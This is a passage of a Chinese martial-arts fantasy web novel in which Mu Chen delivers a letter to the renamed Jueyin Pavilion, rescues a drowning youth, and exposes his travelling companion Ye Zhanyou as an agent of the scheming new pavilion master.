于是何初探头朝里面大喊:“对不住了,娘!”
“你小子!”男人急忙轻轻将房门关上,然后转身作势要揍他,却看到身后还站着慕沉,突然站稳了身,清了清嗓子,对何初使了下眼色,问道:“这位是?”
“这位是我在外面认识的好兄弟,叫——”何初突然愣住,眨巴眨巴眼,有些心虚转头,小声问,“你叫啥来着?”
“......慕沉。”他有些无语。
对面的男人显然对何初翻了个白眼,连名字都不知道就敢随便往家里带,不知道家里树敌多吗?
当然慕沉听不到对方的腹诽,上前对其行了个礼,说道:“何伯父,晚辈慕沉,不久前刚认识何初,冒昧叨扰,请您见谅。”
“虽然认识不久,但我觉得我跟他很合得来!”何初又过来揽住慕沉的肩,笑着看着他爹。“说起来他没地方住还算是我害的,反正咱家也不小,再搭个床又不是什么难事。”
“好好好,”男子无奈,随即打量了慕沉一番,似乎没感知到慕沉身上有修为的气息,不免有些错愕,问“小伙子,你今年几岁了,可有修行?”
“二十有六,并无修为。”慕沉诚实回答。
何初一听,有些惊讶地看着他:“你居然还比我大两岁!看你这模样我还以为你刚弱冠呢!”
“大惊小怪。平日里教你的沉稳呢?”何初父亲不满道。
“何乔烨!不准说我儿子!”未闻人声先至。
这时一声“吱呀”的开门声打断了他们的对话。
三个男人齐齐转头,视线一致,看着那位开门的女子。只见她英气十足,扫了一圈这三个男人,最终目光凌厉锁定在何初身上,眯着眼笑着说:“只有我能嫌弃我儿子。”
何初讪讪一笑,靠近慕沉悄悄说:“咳......如你所见,这是家母。她一般喜欢别人叫她......”他似乎有些难以启齿。
“嘀嘀咕咕说什么呢!”何母睨了他一眼,转而面色和善地看着慕沉,“初次见面,我姓徐名筱蕙,你就叫我徐姐姐就好了。”
“......”慕沉算是知道何初为什么支支吾吾了。
从刚才到现在一言不发的何父一言难尽,赶忙捂住她的嘴,无奈道:“你也不嫌丢人......他与何初一般大。”
“一般大又怎么啦?我看起来又不老。”徐筱蕙不满地“哼”了一声,又主动换了话题,对慕沉说“刚刚在里面听到你说你还没修行。”
“这怎么行?江湖中没点藏身的功夫怎么活得久。”没等慕沉回答,她挑了挑眉,兴致勃勃地说,“我来教你,如何?”
“可以可以!”何初大喊一声表示赞同。
随即把慕沉拉到一旁,找了个角落,小声对他说:“你当初想拜入鸿琛堂,是不是就想学武功?实话告诉你,不如跟我娘学。她很厉害的——比我爹好。”
那你为啥还成了鸿琛堂大弟子?
慕沉虽是这么想,但还是心头一动。虽说不知何母是抱以怎样的目的,但机会就摆在眼前,由不得他犹豫。
况且他只身一人,只命一条,也没什么好顾虑的。
只是——
他看向何母,双眼中潜藏着某种期许,问:“我现在学还来得及吗?”
徐筱蕙不禁失笑,眼神中充满着探究,直勾勾地与他对视。
“你想什么时候学,都不晚。”
慕沉定了定心神,试探地喊了声:“师父?”
“哈哈……”徐筱蕙摆摆手,调笑地看着他,“哪跟哪啊,我觉得你还是叫我徐姐姐好听。”
又来。何乔烨父子同时扶额黑线。
“糟了!何初你怎么突然回来了?信是不是没收到!”徐筱蕙突然想起什么,以手掩嘴表示惊讶。
……
他就这么顺其自然地住下了。
何母思想前卫且知性,何父情绪稳定好说话,何初算是随了他们。
慕沉暗自思量,那时才仅仅认识不到半天,就好像认识了很久一样,为什么?
他不清楚,但迟早会明白。
12. 闯江湖疑心渐起
一道剑势凛冽,将深秋的落叶卷起。慕沉肆意挥动着一根粗陋的杆子,五年如一日地练习已经学会的剑法,甚至自己研究参悟。
所谓勤能补拙。
他随便捡了一根木棍扔向何初,说:“比试一下。”
何初眼疾手快接住,随后笑道:“那你可注意了。”
于是两人废话不多说就开始过招。见何初率先袭来,慕沉脑袋一歪,躲过了木棍,而后一个闪步,以退为进,手中的木杆正要击中何初的手,被何初灵活躲开。这么上上下下几十个来回,竟是没分出胜负。
只是慕沉自己心知肚明,何初这是在让着他呢。他一个半路出家的,怎么比得过从小学到大的人。不过他的目的也不是赶上何初,不过是想在这世间有一个自保能力罢了。初入此道,他才明白,原来修行者,最不缺的就是时间。就比如他如今的义父义母——何初的生父生母,看起来一点也不像年过半百,说是跟他同龄也不为过。
“你们俩别玩了。”徐筱蕙笑脸盈盈地看着,朝他们招手,“今天有事要说。”
他与何初相视,默默回到屋中,四人分别对坐,气氛竟一时有些严肃,还以为是要宣布什么大事。
却也并不是什么小事,何乔烨拿出一封信,摆在了桌上,对着他二人说:“交派你们俩一个任务。将这封信交给新枝阁单阁主。”说着把手上的扳指摘下,“把这个一并交与。就在西北方向,沿路打听即可。”
徐筱蕙也掏出一封信,说:“帮我把这个交给阁主夫人。”
何初不免表示疑惑,直言:“既然如此,你们为何不直接飞鸽传书?”
徐筱蕙敲了一下何初脑袋,不满道:“让你去你就去,还这么多废话。忘记五年前给你寄信出去的鸽子一去不回了吗?”
“知道了知道了。”何初这才想起那只下落不明的信鸽。
“既然知道了就立刻动身吧。”何乔烨不由分说从身后拿出两袋行囊,显然是早已准备好的模样,催促他们抓紧上路。
“义父义母为何如此着急?莫不是出了什么事?”慕沉皱眉,不免有些担忧。
“是出了点事,所以才叫你们赶紧送信啊。”何母把东西拢共塞到他手中,将他们送出门,柔声说,“你们且安心着,不要有什么负担。去吧,自家人就不送了。”
既然都这么说了,慕沉也不再说什么,带着郑重对义父母恭敬一拜,与何初一同离开。
走了大概一两公里,离小屋也有一段距离,慕沉拉住何初,在一块大石头上,将义父母准备的行囊打开,发现里面除了衣物,还有一大袋银钱。怪不得背着的时候感觉沉甸甸的。
他拿出那带钱,皱眉看向何初,说道:“你不觉得义父义母有些不对劲吗?若只是送信,又岂会给我们这么多银两?”恐怕是他们所有的积蓄了。
何初见状,拍了拍慕沉的肩膀,宽慰他说:“可能是怕我们路途遥远不甚方便吧。别想那么多了,赶路要紧。”
慕沉点了点头,默默将行囊重新装好背在身上。他面色复杂地看了眼何初,不再有什么疑虑。
末了,待他们走出了山林,已有一点房屋的影子,何初突然开口:“此行可能要你一人去了。”
听毕,慕沉刚想问原因,何初已然道出缘由:“我要去鸿琛堂一趟。已经躲了五年多,是时候做个真正的了断。”
“怎么这么突然?”慕沉不思其解,但也不多问,转而说,“我跟你一同前去。好歹有个照应。”
“不用——”何初摆摆手,“不是什么复杂的事,我自己能解决。况且我娘不是还交代了任务吗,耽误了可不好。”
“这样,”何初怕他不放心,又补充道,“你先行一步,等我解决了这边的事,马上就去找你。如何?”
都说到这份上,慕沉自然不能再说什么,而且以何初的能力恐怕也不需要慕沉做什么。
于是他点点头,嘱咐道:“若是有什么事,记得传音给我。”
“唉,能有什么事。”何初突然笑出了声,“你怎么比我娘还操心。成,走了。”
两人各自走了不同方向的路。
慕沉走进人多嘴杂的酒馆,想打听点关于新枝阁的事情。
邻桌的几个大娘在那唠嗑,声音不大不小,正好让他听到。
“跟你们说,我昨晚做了一个梦——有一个人灭了一整个家族的人!吓人的嘞!”
其中一个大娘打趣道:“这有啥,现在哪些个大门大户没点内部恩怨呐,乱得很嘞!不过任他们如何争斗,也不关咱小老百姓的事。别多想,梦都是反的!”
大娘们七嘴八舌地说开了,上知当下时局,下通民间传闻,却没听到关于新枝阁的消息。
慕沉这才反应过来,被自己蠢笑了,竟然想着从大娘的口中打听消息。他唤来小二,随便点了几个东西,随即问:“新枝阁如何走?”
小二愣了好一会儿,似乎想从脑中检索出新枝阁的字眼,陪笑道:“客官,您说的新枝阁,那是五年前的叫法,它如今改名绝音阁。往西二十五里便是。”
“多谢。”慕沉给了点碎银。
小二眉开眼笑地离开。
“连绝音阁都不知道,哪里来的山里人啊!”
待他起身后,那几个大娘在那咯咯地笑,说得很小声,却还是让他听见了。
慕沉也是无奈,可不就是山顶洞人吗。
绝音阁?
义父义母看来也不知情。
他出了客栈,突然感觉到手臂有阵阻力,向身后看去,一个跟他差不多高的男子拽住了他。
此人似乎有些顾忌,犹犹豫豫地说:“兄台……是要去绝音阁吗?”
慕沉盯着这个男子,对方与他对视后立马低下头。
看来是被听到了他向小二打听的事。
他如实告诉:“我是要去绝音阁。怎么?”
“那……我与兄台同行可否?”男子有些焦灼,补充道:“我是被长辈交代前去办事的,不是什么居心叵测之人!只是我武力尚浅,一路上已经收到不少阻碍。我……我认识路的,可以给你指路……我看兄台身量气度不凡,才——”
“可。”慕沉懒得听他自述,打断了男子滔滔不绝的话。
无非是把自己当成保镖了呗。但就算对方真有什么别的目的,慕沉也不甚在意,横竖对方识路,倒省了他问路的麻烦,顶多是路上多了一个同行的人。
此人喜出望外,根本没想到慕沉会答应得如此爽快。于是默默地跟着慕沉,时不时观察周围。其实这男子心头始终有一根弦紧绷着,一刻也没有放松过。
脚程二十五里,说短也不短。若是一刻也不停歇,估计凌晨时分便能到,但他又不是铁打的。便决定天黑之时找个落脚处暂歇,等次日天光大亮就再次启程。他问身旁多出的那个人意见如何。
此男子摆摆手,赶忙说:“都听兄台的。”
“我叫慕沉。”别老是兄台兄台地叫。
“哦……好,慕兄,”对方慢了半拍才反应过来,连忙开口,“在下姓叶名展佑,慕兄叫我小叶就行。”
“成。”慕沉利落答应,看对方瞻前顾后的模样,像他初入社会时的懵懂,年纪估摸着也没他大。如今倒是让他充当起照顾者的身份了。“那我们就在太阳下山之前,找一处地方落脚……小叶。”虽然是暂时接受了身旁突然多了一个人,但他这么叫叶展佑还是感觉有些有些
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别扭。
“好。正巧我打听过前方有处客栈,不妨便在那里暂歇一晚。”
慕沉点点头,表示没问题。
这之后的一路上二人竟是半句话也没说。一来慕沉本身就不是一个话多的人,二来他看叶展佑对待他都是小心翼翼的,不太像一个能主动搭话的人。
等不远看到客栈的影子,已经是傍晚时分。慕沉松了口气,观望着门口居然站着两个人。
这年头客栈也有保安了?正当他想着,一旁的叶展佑突然拉住他,皱着眉摇头示意别再往前,神情有些紧张。
慕沉疑惑:“怎么了?”
“门口站着的是……追杀我的人。”叶展佑回答。
听罢,他稍稍愣了一下,反应过来说:“这样啊,那看来是住不了店了。”
正打算往回走另一条道,他脑袋灵光一闪,突然有了一个想法。
慕沉将叶展佑拉到一个空巷里,说:“我有办法让你不被发现地进去,不过只能委屈你跟我住一间房。看你的选择,你是要再花点时间找个地方留宿,还是就近这个客栈住一晚?”
“如果慕兄有办法进去那真是再好不过了。”叶展佑稍稍松了口气。
这么说,那就是选择就近了。慕沉挑了挑眉,问:“你可有什么随身物品?”
他在深山老林的这五年学到了很多东西,其中就包括何初第一次向他展示的“穿梭阵法”。只是在慕沉学的时候才知道,这种阵法其实是有限制的。比如范围,何初当年是以一棵树为坐标,参照物是足够稳定且庞大的,那么阵法能生效的范围自然就大。
其实阵法所设的参照物是什么都行,无非是范围限制的问题,他不过是懒得拿自己的东西才随口问叶展佑罢了。
“啊!有的!”叶展佑反应过来回答道,随即从袖子里拿出一袋银两,沉甸甸的,一看就是富家少爷。
慕沉看了眼,忍不住笑了,打趣道:“是打算让我花吗?”
叶展佑也憨笑起来,“慕兄想花便花,不用跟我客气!”
他不再多说,从中挑出一块分量最重的,剩下的还给了对方,然后试着对银块施起法术设阵。身旁叶展佑静默看着,一句话也不敢说,生怕打扰他。
不久,便凭空多出一张银子做的符纸。也不能说凭空,它本身就是银块的一部分。
“一刻钟的时间,我先进客栈买房间,你在这里待着,”慕沉将符纸给对方,“时间一到你就对符纸施个咒,到时候会出现一扇门,直接进来就好了。”
“至于这个——”他掂了掂那块银两,尽管缺失了一部分变成符纸,依然很有分量,“我带进客栈。”
“好。”叶展佑毫不犹豫接过符纸,点了点头。
倒是让慕沉一愣,意味不明地问:“就这么相信我?”
“自然。我观慕兄是一个值得信任的人。”在叶展佑口中像是一件稀松平常的事。
慕沉笑了笑,不置可否。
他一人走近客栈,不急不徐地经过那两个乔装的杀手,面对二人的打量。
“掌柜的,一间上等房。”慕沉掏出自己的银子,小心地打量四周。
掌柜见他出手阔绰,连忙招呼小二带他上楼。
等他将厢房门关紧,倒完一杯茶水后,叶展佑就现身了。刚要开口,慕沉便立马捂住对方的嘴,示意叶展佑噤声。
只听慕沉小声地说:“除了守在门外那两个,客栈里面也不下三个。我们讲话的声音能多小就多小。”
他来时就感受到这楼里四面八方的视线,似乎是想要将他看透、看穿。
叶展佑点点头。
由于慕、叶二人谨慎行事,这一夜倒相安无事。
13. 道是非绝音难辨
次日一早,慕沉睁眼便看见叶展佑在桌前来回踱步,面色有些焦虑。
“在担心什么?”慕沉起身,倒了杯茶问。
“哦,慕兄,我们是不是忘了……我该怎么出去?”叶展佑有些为难道。
还以为是什么棘手的事。既然他想好了要怎么进,自然也想到要怎么出。于是慕沉面不改色拿出一张符纸,这是他昨天设阵时一并设下的。这张符纸对应的阵,是空巷的那面石墙。
当然,也可以故技重施,不过得赶在店家收拾房间之前。
叶展佑看到他掏出的符纸,瞪大双眼,险些没控制住自己的音量:“慕兄你什么时候——”
“顺手的事。行了,话不多说,你先离开,我再走。原处等我。”
“好。”叶展佑毫不犹豫接过了符纸,随后在慕沉的目睹下消失在客栈中。
见对方安全离开后,慕沉才松了口气,转而打开了厢房的门。
这时,不知何处突然有人大喊一声:“啊啊啊啊啊有鬼——”然后声音明显被人截断了。
却几乎让邻里全听到了。
慕沉几乎没有思索就冲下楼。
“坏了!”他暗道不妙,猜想是叶展佑传过去时正好有人经过,可那不是人迹罕至吗?这也太倒霉了吧。
怕就怕那些杀手听到动静后马上去探查。
果不其然,他下楼时并无眼睛盯着他。如慕沉所料,他到那时已经看见叶展佑已经被团团围住,吃力地躲避那些人的攻击。
对付这群人,这算是慕沉第一次真正意义上的战斗。先前在老林里比试或者练习都没法参照,他根本就不知道自己的武功同外面来说究竟如何,因此他仅仅是防守,快靠近叶展佑时一把抓住对方的胳膊走为上计。
当然,尽管那些人穷追不舍,最终还是甩掉了。看样子应该也没什么能耐。
慕沉四周观望,发现已经跑到了城郊。他松了口气,问出一直没问的问题:“那些人为什么要追杀你?”
叶展佑气喘吁吁,好不容易停下来,缓了一会儿回答道:“我爹娘遭遇不测,是我叔父派的人来杀我,我此番前来是为了投奔我爹娘多年的好友。”
“你的意思是,你是去投奔新枝阁?”
“现在叫绝音阁了,慕兄,”叶展佑有些哭笑不得,“差不多是这样。”
“抱歉,一时半会没习惯。”
“其实也无伤大雅,”叶展佑不好意思地说,“那我们继续赶路吧。”
“嗯。”慕沉点点头。
已是深秋季节,泛黄的叶子时不时飘落,微风萧瑟,不免有些凉意,城郊没有明显的路,踩在枯叶上嘎吱嘎吱响。
叶展佑突然叹了口气,神色黯然说:“若是昨晚没住客栈,就不会遭遇这些事了。又给慕兄添麻烦了。”
慕沉倒是没想那么多。其实住哪里对他来说都一样。风餐露宿他倒无不可,只怕叶展佑难以消受。况且,“你的选择似乎是对的,毕竟最危险的地方就是最安全的。”慕沉安慰说,“一个客栈都安排了六七个人守着,估计剩下我们能想到的住所——哪怕是林子里,估计也派了人。”
他说话时有种让人安心能力,仿佛什么事都不能威胁到他,或许他自己没注意到,但身旁的叶展佑却是能感受到的。这也让人根本摸不清慕沉的底细。
“慕兄,走过前面那座桥,再走一柱香就到了。”叶展佑确实知道路,自从慕沉带上他之后,少走了很多弯路,也不用到处问旁人。
虽然他知道这有风险,万一对方是个骗子呢?
他这么矛盾着,看向了不远处的桥。
好像是有一个人往湖里跳了下去,好大一声水花。
这是……自杀?他好像遇到什么不得了的事。脑子烧了。
“慕兄……你看到了吗……”叶展佑犹豫地问,眼睛却盯着桥上,显然跟慕沉看到的是同步画面。
“看到了。”
“那……救不救?”
其实慕沉是不确定的。往往想要轻生的人,成功了对于他们来说未尝不是一种解脱,救下他们说不准会将他们拉到另一个深渊。
可是总有人会出来“多管闲事”,总有人,想要拉他们一把,希望能从深渊中将他们拉出来。
能活着,谁愿意死呢?他们只是没有希望了。
他也是人,他也有恻隐之心。
“慕兄……我不会水……”
“我会。”
叶展佑听到后仿佛看到一点希望,连忙说:“我现在去找个杆子,到时候拉你上来!”
野外哪有什么杆子。慕沉却没反驳,默认了对方的行为。
他将外衣脱下,做好准备工作后就下水了。好在他以前学过一些潜水的基础技能,但是没有任何工具直接增加了找人的难度。
慕沉将人捞到水面,看见不远处有一根藤蔓,连接着岸边,是叶展佑找来的。他有些犹豫结不结实,怕扯了一下叶展佑就跟着落水了。但显然他多虑了,叶展佑也是有脑子的。
他听见对方大喊:“慕兄,抓住藤蔓!我绑在一棵树上了,很结实,我试过了!”
慕沉毫不犹豫抓住,将藤蔓缠绕在落水者身上,同叶展佑协力拉上了岸。
一些急救知识他也是学过的。好容易等对方吐了水,他才转手让叶展佑注意着,站起身,躲到远处换了身衣服,然后又拿出一件没穿过几次的衣服,和一些银两走了出来。
他这才发现,那个落水者似乎是个少年,身上处处可见的伤。虽不致命,却可折磨至深,让人光是看着都难受。
少年醒过来,发现自己被一个不认识的人抱着,微微挣扎了一下。这个人显然不能是慕沉。
“咳……”少年被呛了一下,握紧了拳头,想要说些什么。
但慕沉将衣服放下,打断少年的开口,用不冷不热的语气说:“什么话都不用说。”
他这个态度,就好像和刚刚救少年的不是同一个人。
冷漠旁观。殊不知他内心很矛盾。
好人还是让叶展佑当吧。叶展佑将对方扶起来,关心地问:“你现在感觉怎么样?”
少年摇摇头,不敢与之对视,慕沉却感受到对方若有若无的视线。
“活着比什么都重要。”慕沉看着少年,把自己最真实的想法告诉他。随即示意叶展佑,他们还要赶路,没法带着这位少年。“我们还要赶路,不能多待了。”
他不知道少年等他们走后会不会又想着轻生,但他管不了更多了。
这次,他是有点多管闲事了。
又过了不久,他们看见前方有六人挡路,个个都拿着武器。想来是悉知叶展佑的行动路线,又追杀叶展佑的。
此时慕沉便知,果然还是免不了一场打斗。
对面的人先冲了上来,看架势要把他们杀个精光。
慕沉快准地躲过,随即马上转身,出剑,招招狠戾却不致命,因为他没杀过人。但对面的不同,每次的攻击都带着杀意
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,他的武功虽不在下乘,却一时不查,手臂上还是多了一道伤。
这时,叶展佑在抵挡招式后看清了对方,突然开口:“……阿序?”
对面为首的人愣了一下。
“为什么要帮着叔父追杀我?”叶展佑似乎有些痛心疾首,“可不可以……放我一条生路?”
慕沉默默看着对方拿出一块玉佩,对对面的“阿序”说:“就当我已经被你们解决……玉佩当作信物,拿着,从这条路离开吧。”
“阿序”皱着眉,似乎在犹豫。
叶展佑说:“就当是帮我最后一个忙……”
最终阿序还是拿走了这块玉佩,离开了这个地方。
闹剧落幕,慕沉才问道:“你认识?”
“哦,是这样的,”叶展佑解释道,“他是一个讲义气的人,我曾经帮助过他。我虽不知他为何投入我叔父门下,但好在刚刚遇到的是他。”
“原来是这样。”慕沉了然。
“嗯嗯!慕兄……”叶展佑犹豫开口,眼神中饱含着羡慕,“刚刚看到慕兄打斗时的剑法和身姿,慕兄的武功果然高强!要是我也会一点就好了。”
这还厉害啊。慕沉暗自腹诽,随后给对方画下一个大饼:“要是以后有机会,我可以教你。”
又走了一段时间,看到“绝音”二字的牌匾,慕沉松了一口气,剩下的路总算是无再生波澜。
他却还是保留了警惕。在他的认知里,一般门派从来不轻易更改名字,除非遇到什么大事。但是他又实在想不出能有什么事到换门派名的地步。
古代君王换位要改年号,莫非新枝阁易主了?
等门卫通报来意后便有一名丫鬟出来迎接:“二位公子赶路辛苦了吧,我们阁主说了,来者皆是客,前些时候也是有三个公子到这投奔我们绝音阁,阁主都甚是欢迎。”那名丫鬟笑着介绍,表情语气都非常官方。“二位先到厢房暂时歇息,阁主一会儿便腾出时间接见二位。”
慕沉由着丫鬟带路,却从她口中听到一点玄机。在他们来之前已经有三个人到,却是和叶展佑相同的目的。该说这位单阁主广结人脉吗?但是为什么会有这么多的后辈突然这么巧地都来投奔绝音阁,或许他们的长辈都有各自相同的目的,那么他的义父义母委托他送信的缘由又是什么?
慕沉与叶展佑各自分到不同的厢房。他倒是着急着见阁主和阁主夫人,毕竟义父义母的信说不准事关重大,不过刚刚带路的丫鬟既然这么说,想来他很快便能见到单阁主。他看似漫不经心地问一旁待命的丫鬟:“单阁主有如此善心接纳我们,想必与他的夫人十分恩爱吧?”
那名丫鬟听后却摇了摇头,笑着说:“公子说笑了,我们阁主至今仍未娶妻,不过他为人和善倒是真,从未苛待过我们这些下人。”
真让慕沉猜中了。既然如此,他就不可能轻易将信件和信物交出,绝音阁易主究竟是阴谋还是阳谋,至少要等他先了解个大概。
“我怎么记得,绝音阁先前好像不是叫这个名?”
那丫鬟愣了一下,似乎不知他话中的意思,还是如实回答:“啊,是的,公子,五年前老阁主将阁主之位交予如今的阁主。”
“原来是这样。多谢姑娘解答我的疑惑。”
丫鬟没料到突如其来的感谢,有些不好意思道:“公子哪里的话,都是奴婢应该做的。”
此外,他还打听到绝音阁不像鸿琛堂那样的大门派,倒像是个家族所建立的,不收外族弟子。
14. 相逢不用忙归去
不久,阁主果真派人前来。慕沉和叶展佑跟着那些人一起走到了正堂。原来不是单纯的聊天,这位单阁主摆了宴席,在他到之前已经有三个人落座,想必就是前几天来投奔的三位。
阁主看到他进门,眼神中充满了探究。殊不知慕沉也在不经意地打量对方。
这位单阁主并不是他想象中的老气横秋,反而是意气风发,最多不超过三十岁。既然如此,先前的阁主会将阁主之位交给一个看起来如此年轻,没有社会经验的后生吗?虽然在这个世界外貌有时也会骗人,那么先前的阁主就会心甘情愿将位置让出吗?这其中若是没有纷争,慕沉是不相信的。
一边思量着,单阁主对着他二人逐一介绍那几位已经在场的人,分别是白澈、余光澄、君秋恒。前二者父母皆无所属派系,跟慕沉是一样的;后者父母是落寞门派的掌门人。虽说他们几人的出身各不相同,到绝音阁的来意却是一样的。倒是过于凑巧了。
三人用若有若无的视线扫射他,却是带着探究,没什么敌意。反而对他身旁的叶展佑“过分关心”,看得他以为他们之前结过什么梁子。
等他们入座后,单阁主敬了几次酒,便转头问慕沉道:“这位慕小友,信笺信物是否随身携带?”
这信并不是交给这阁主的,那他怎么会知道?原来这便是此宴的目的吗?
慕沉装作不知,反问:“什么信物?”
单阁主愣了一下,“若是没有信物,那单某又岂知你的身份,究竟是老阁主的哪位故人之子呢?”随即眯了眯眼,意味不明地笑道,“慕小友这么说,怕是没有了?”
自然是有的。但他若是这么交到对方手中——并不是所委托之人,倘若结果不是义父义母所期望的,那他无法承担这样的后果。
这么斟酌一番,慕沉与之对视,面露无奈道:“让单阁主失望了,在下确实是没有什么信物。此番前来,其实是仰慕贵派许久,希望投入贵派门下。”
此言既出,周围人似乎都在用复杂的眼神看向他,仿佛在看戏一般。绝音阁几代下来都不收揽外族弟子,在场的人应该都知道。慕沉自然也知道。
一个有意图的阁主自然会派人盯着他,他此前向丫鬟打听了那么多事,那么他的所作所为定然瞒不过单阁主,既然单阁主知道他清楚绝音阁的惯例,自然就知道他说的是假话。而谎言的目的是为了掩盖信物就在他身上的事实。这便是慕沉故意留下的破绽。
他想知道,单阁主会有什么行动。为了这一个扳指,究竟能让对方做到什么地步?虽然这么做他也有一定风险。
单阁主眼神暗了一瞬,却还是不失和气,有些为难道:“抱歉。我绝音阁一向没有招揽外界弟子的先例,怕是要叫慕小友扫兴而归。”
言毕,慕沉也是佯装失望,神色黯然地叹气道:“哎,罢了,终究是我无缘贵派。既然阁主已然这么说,在下自然不敢多加叨扰,不日便会主动离开。”
单阁主反倒有些坐不住,赔笑着说:“慕小友言重了,无论你是否是故人之子,单某自然都是欢迎的。不妨多留几日。”
他佯装欣喜,目光亮了几分,答道:“单阁主既然不嫌弃,那在下却之不恭。”
慕沉暗自决定,无论单阁主是否会有所行动,他三日后必定要离开绝音阁将此事告知义父义母。
月上梢头,他的厢房突然传来敲门声。慕沉以为是叶展佑,没想到居然是在宴席上仅有一面之缘的君秋恒。
慕沉邀请进屋,对方似乎有些警惕,像是在担心隔墙有耳,于是将声音放轻,脸色复杂问:“你真的没有信物?”
慕沉摇头。
君秋恒皱起的眉头稍微舒缓些,但还是严肃地说:“没有便好,否则单陔识是不会放过你的。不过你最好还是别在此处多待,多一天就可能多一分麻烦。”
这番话倒是让慕沉有些猝不及防。他想知道君秋恒为什么要特意过来提醒他,不过还没等他问出口,君秋恒便摇了摇头,“多的你也别问,我知道让你一下子相信我也很难,不过我还是想着能劝一个是一个。”
君秋恒拍了拍他的肩,站起身准备开门,突然想起什么,转过头没出声,对了一个口型:“叶展佑。”随后开门,佯装一副交谈甚欢的模样。
房间中又只剩慕沉一人。
从君秋恒口中,他知道了单阁主的全名,而且似乎对那三个投奔的“故人之子”存在某种交易或者威胁,至少在他看来君秋恒显然不是自愿的。也能够猜出这位单阁主可不是他白天所见的客客气气模样,为达目的可能会不择手段。当然,这全都基于“如果对方说的是真话”。
至于叶展佑,君秋恒虽然只说了名字,但从他们白天宴席上的隐晦眼神不难看出,叶展佑必然与他们三人不对付,估计是让慕沉小心对方。不过其实用不着其他人提醒,他也清楚叶展佑曾说过的话掺了多少真真假假。
一个插曲过后,他没料到这位阁主这么沉得住气,整整三日都没任何动静。或许信物对对方来说确实不重要?
于是他主动请辞离开。
单阁主愣了一会,便点头同意了。
慕沉不再耽搁,随即便出了绝音阁的大门。等过了一段时间,他发现归路已不是来时路,但他又确定自己不曾迷路,那就是被人动了手脚。除了那位单阁主,他想不到第二个人。
他暗笑,果然还是急不可耐,着急动手了。
既然不是原路,那他应该就是进了幻境。不过他此前只是听何初说过,幻境可以随意变化,也能够真实到让人根本察觉不出,并没有亲身经历。但能够轻易被他识破的幻境,显然不会高级到哪去,估计就是为了将他困住吧。
那不如将计就计。
果不其然,一团黑雾凭空出现,却不似有敌意的模样,倒像是要给他带路。幻境中的路,他才不敢随便走。
他对着黑雾说:“要打便打,哪来这么多弯弯绕绕。”
黑雾听不懂他在说什么,见慕沉不动,有些着急,又绕着他转了几圈,最后似乎明白慕沉不会听它的,雾气一下子就扩大了几倍,跟真的生气了一样。
而后一人一物便打了起来。那黑雾毫无章法地攻击,并不高明,慕沉轻易就能躲开,不过他又反应过来自己其实不需要躲,故意让黑雾钻了空子。
这团黑雾无形,穿过他心口,倒是低估了黑雾的威力,前些天手臂上还没好的伤口此刻却传来异样的感觉。晕倒的那一瞬间他在想,这也算是伤敌一千自损八百了吧……
他仿佛做了一个梦,却是痛苦,不安,怀疑,迷惘的梦。当所有负面情绪都出现并且与正面情绪抗衡,心魔就会产生。这是每个修行者都可能会经历的事,想要战胜——
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或是说压制,其实不难。可他自己从来没有见到过。
他不知过了多久,也分不清虚实,仿佛下一秒就要沉沦。但他知道自己没那么容易中招。最终还是清醒过来,慕沉意识到自己在一个密闭的空间里,坐在一把椅子上,双手双脚都有铁链束缚,衣衫并不是很整洁,想来是被搜过身。
不过要让单陔识失望了,自从确认绝音阁易主后,他就没把东西藏在身上。
幽暗的环境给人一种压抑的感觉,慕沉刚从那不怎么好的梦境中醒来,头脑还是昏昏沉沉的。
这时,一阵细微的脚步声越来越近,“吱呀”一声,门被打开了。昏暗中他看不清来人是谁,下一秒那人突然叹了一口气,语气有些无奈道:“慕兄,你不妨把阁主要的东西交出去吧,阁主不会为难你的。”
他以为是单陔识亲自来找他,没想到却是派叶展佑来劝说。
叶展佑苦口婆心地劝道:“慕兄此次前来,不就是为了投奔绝音阁的吗?又何必跟单阁主过不去呢?”
慕沉轻笑一声,意味不明地问:“你如今,是以何种立场来劝告我呢?小叶,你对我说过的那些话,有几分真几分假呢?”
黑暗中谁也看不清谁的表情,但他猜叶展佑肯定愣了一下。
“我——”叶展佑哑口无言,似乎想辩驳什么,但此时的辩驳是如此苍白无力,他们双方都心知肚明。
从他们认识初始,叶展佑就对他有种“莫名的信任”。可无来由的信任往往有着不可说的目的,从来都无法打动慕沉。才认识不到半天就谈信任,哪怕是一面之缘的君秋恒都知道这不现实。他与何初、义父义母都应该至少一年才放下戒心——其实他也说不准。就算叶展佑真的初涉江湖,也不可能单纯如白纸,什么人都可以相信。
叶展佑全程不曾问起慕沉去绝音阁的目的,却将自己的底细透露的干干净净,这显然是不合常理的。除非对方本来就知道他要去干什么,或者理所当然地认为他的目的与自己一样。
况且,叶展佑曾说自己武功不高,可无力自保的他,究竟是怎么躲过那些派来追杀他的人?而且不止一次。
一是杀手都是些江湖混混,连叶展佑都打不过;二是叶展佑在藏拙;三是那些人本就不是追杀叶展佑的。先前慕沉已经与那些杀手对打,且叶展佑羡慕自己武功的神色不假,显然第一种猜想不成立。
对方藏拙是真,杀手是假。慕沉大胆猜测,从他走进酒馆,叶展佑知道了一直等待的人开始,一场专门为他准备的戏,便拉开序幕。
叶展佑虽武功不高,阵法造诣大抵是不差,毕竟慕沉设下“穿梭阵”之时对方表情并无异样,换做别人可能会忍不住好奇。他将符纸递给对方,对使用方法含糊其辞,没想到叶展佑竟也是不问。想来单阁主不会留一个无能之人在身边。
整场戏,叶展佑想让他看到的都能看到,不想让他知道的也没让他知道。
除了那个落水者,那个少年。那是一个意外,似乎跟叶展佑,又存在某种联系。毕竟如果叶展佑真的听命于单阁主,那他至少不希望路上横生枝节,更不可能花时间对待那名少年,而是加紧劝说慕沉尽早赶路。
少年或许是从绝音阁里逃出来的。
而验证这所有猜想,只需一句话:
“我的衣服,还在那位落水少年手上。”
15. 明日黄花蝶也愁
这句话说出口后,慕沉能感觉到对方的怔愣,脸色不怎么好看。叶展佑一瞬间就明白他的话是什么意思。
只听见叶展佑迅速吩咐手下的人:“快,去禀告阁主,去把单缘带出来!快!”
单缘,估计就是那位少年的名字了吧,跟阁主同姓,看来确实关系匪浅,估计又是豪门家族内部的勾心斗角。听这语气,那少年不仅在他们手上,而且像是即将丧命了似的。
此言既出,单缘势必会被查,到时候若是没搜到,他的试探很快就会被戳穿,于是慕沉补充道:“不在他身上。我让他藏到别的地方了。”
“……怎么可能?我那日明明一直跟你在一块——”叶展佑突然反应过来,“你趁换衣服的时候动了手脚?”
慕沉不置可否,佯装地问了一句:“若我现在投诚,你说还有机会吗?”
“或者说,我还有被留下的价值吗?”
叶展佑叹了口气,却不见惋惜地说:“你若是早点开口,阁主又岂会为难你。”
